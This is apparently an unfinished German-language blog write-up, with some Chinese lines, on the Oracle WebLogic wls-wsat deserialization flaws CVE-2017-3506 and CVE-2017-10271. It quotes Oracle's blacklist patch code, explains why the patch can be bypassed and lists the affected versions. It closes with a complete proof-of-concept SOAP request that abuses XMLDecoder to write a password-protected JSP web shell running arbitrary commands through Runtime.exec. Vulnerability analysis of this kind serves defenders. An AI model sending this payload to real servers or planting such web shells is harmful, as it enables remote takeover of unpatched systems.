
WebLogic wls-wsat RCE CVE-2017-10271
WebLogic wls-wsat RCE CVE-2017-10271
Früher nutzten Angreifer die Schwachstelle in der WebLogic-WLS-Komponente für großflächige Remote-Angriffe auf Unternehmensserver; eine große Zahl von Unternehmensservern wurde kompromittiert, und die Anzahl der angegriffenen Unternehmen zeigt eine deutlich steigende Tendenz, weshalb dies sehr ernst genommen werden muss. CVE-2017-3506 ist eine Remote-Codeausführungslücke in der WLS-Komponente von Oracle WebLogic, eine in freier Wildbahn ausgenutzte Schwachstelle ohne veröffentlichte Details; viele Unternehmen haben den Patch noch nicht rechtzeitig installiert. Offiziell wurde der Patch für diese Schwachstelle bereits im April 2017 veröffentlicht.
Patch-Erläuterung für CVE-2017-3506:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
Es wurde lediglich vor der Deserialisierung eine validate-Funktion hinzugefügt, die eine Ausnahme auslöst und abbricht, wenn qName gleich object ist. Das ist simpel und brutal, doch eine solche Blacklist-Reparatur ist schwer vollständig zu beheben. Nachdenkenswert …
Die Ausnutzung dieser Schwachstelle ist relativ einfach: Ein Angreifer muss lediglich eine sorgfältig konstruierte HTTP-Anfrage senden, um Berechtigungen auf dem Zielserver zu erlangen – die Auswirkungen sind enorm. Da die Schwachstelle relativ neu ist, gibt es weiterhin viele Hosts, die die entsprechenden Patches noch nicht installiert haben. Es ist zu erwarten, dass nach diesem Vorfall die Zahl der Angriffe stark ansteigt und viele neue Hosts kompromittiert werden.
Der offizielle Patch von Oracle vom April behebt CVE-2017-3506 nicht vollständig; der Patch kann umgangen werden, und Remote-Befehle können weiterhin ausgeführt werden. Die derzeit umgangene Schwachstelle CVE-2017-10271 wurde im offiziellen Oktober-Patch behoben.
CVE-2017-3506 (wls-wsat 远程命令执行漏洞) CVE-2017-10271 (wls-wsat 远程命令执行绕过漏洞)
Oracle WebLogic Server10.3.6.0.0 版本 Oracle WebLogic Server12.1.3.0.0 版本 Oracle WebLogic Server12.2.1.1.0 版本 Oracle WebLogic Server12.2.1.2.0 版本
Poc:
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1111111111.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
Noch nicht fertig geschrieben, musste raus ...